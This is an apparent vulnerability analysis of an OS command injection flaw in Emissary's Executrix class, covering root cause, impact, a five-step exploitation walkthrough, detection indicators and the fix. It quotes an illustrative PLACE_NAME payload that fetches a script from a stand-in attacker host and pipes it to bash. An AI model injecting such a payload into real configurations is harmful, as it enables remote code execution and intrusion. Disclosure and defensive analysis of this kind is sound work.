CVE-2026-35581: 
Java vulnerability analysis and mitigation

CVE-2026-35581 is an OS command injection vulnerability in the Executrix utility class of Emissary, a P2P-based data-driven workflow engine developed by the National Security Agency (NSA). The flaw allows authenticated users with high privileges to execute arbitrary shell commands by injecting metacharacters into the PLACE_NAME configuration parameter. All versions up to and including 8.38.0 are affected; the vulnerability was published on April 7, 2026, and fixed in version 8.39.0. It carries a CVSS v3.1 base score of 7.2 (High) (GitHub Advisory, NSA Emissary Advisory).

The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). In Executrix.java, the PLACE_NAME configuration value undergoes only a space-to-underscore replacement (this.placeName = this.placeName.replace(' ', '_')), leaving shell metacharacters such as ;, |, $, `, (, and ) intact. The sanitized value is then used to construct temporary directory paths (tmpNames[DIR]), which are concatenated directly into a shell command string executed via /bin/sh -c. An illustrative payload — PLACE_NAME = "test;curl attacker.com/shell.sh|bash;x" — demonstrates how the semicolons and pipe survive sanitization and are interpreted by the shell. The fix (PR #1290) replaces the insufficient sanitization with an allowlist regex [^a-zA-Z0-9_-] that strips all non-safe characters (NSA Emissary Advisory, GitHub Advisory).

Successful exploitation grants an attacker arbitrary command execution on the Emissary host with the privileges of the running service process, resulting in high confidentiality, integrity, and availability impact. An attacker could exfiltrate sensitive data processed by the workflow engine, modify or destroy data, install backdoors or malware, and potentially pivot to other systems accessible from the Emissary host. Exploitation requires the ability to control configuration values, such as through administrative access or a compromised configuration source (NSA Emissary Advisory).

No confirmed in-the-wild exploitation has been observed, and no weaponized exploit code is publicly available — the only published payload is an illustrative example from the security advisory itself (NSA Emissary Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.059%–0.129%, placing it in the lower percentiles for near-term exploitation probability (GitHub Advisory). Exploitation requires high privileges (administrative or configuration-level access), which significantly limits the attacker pool.

1. Gain administrative access: Obtain credentials or session access to the Emissary administrative interface or direct access to the configuration files on the host.
2. Locate the PLACE_NAME configuration parameter: Identify the configuration file (e.g., emissary-config.cfg or equivalent) that defines the PLACE_NAME value used by the Executrix utility class.
3. Inject a malicious payload: Set the PLACE_NAME value to a string containing shell metacharacters, for example: test;curl attacker.com/shell.sh|bash;x. The existing sanitization only replaces spaces with underscores, so semicolons and pipes pass through unchanged.
4. Trigger command execution: Cause the Emissary service to reload or process a workflow that invokes the Executrix class. The getTimedCommand() method constructs a shell command string incorporating the tainted tmpNames[DIR] value and passes it to /bin/sh -c.
5. Achieve arbitrary code execution: The injected metacharacters cause the shell to execute the attacker-controlled commands (e.g., downloading and running a remote shell script), resulting in full control of the Emissary host process (NSA Emissary Advisory).

• Logs: Emissary application logs showing unexpected shell command strings containing metacharacters (;, |, $, `) in paths or command output; audit logs recording configuration changes to PLACE_NAME values by non-standard users.
• Network: Outbound HTTP/HTTPS connections from the Emissary host to unknown external IP addresses or domains (e.g., attacker-controlled servers) shortly after configuration changes; DNS queries for unexpected external hostnames from the Emissary process.
• Process: Unexpected child processes spawned by the Emissary JVM (e.g., /bin/sh, curl, wget, bash, python) visible in process trees; processes executing with the Emissary service account that are not part of normal workflow operations.
• File System: New or modified scripts, binaries, or cron jobs in directories writable by the Emissary service account; unexpected files in Emissary temporary directories (tmpNames[DIR]) with executable permissions.

Upgrade Emissary to version 8.39.0 or later, which replaces the insufficient space-only sanitization with an allowlist regex ([^a-zA-Z0-9_-]) that strips all shell metacharacters from PLACE_NAME before command construction (NSA Emissary Advisory, GitHub Advisory). As a temporary workaround if immediate upgrade is not possible, ensure all PLACE_NAME values in configuration files contain only alphanumeric characters, underscores, and hyphens. Additionally, restrict write access to Emissary configuration files to only trusted administrators, and implement monitoring for unexpected configuration changes.

The vulnerability was reported by researcher BrennanTM and published by maintainer cfkoehler via GitHub Security Advisory on April 6, 2026. No significant broader media coverage or notable public researcher commentary beyond the advisory itself has been identified. The advisory was tracked by standard vulnerability aggregators including VulDB, CVEFeed, and Red Hat's CVE tracker shortly after disclosure (NSA Emissary Advisory).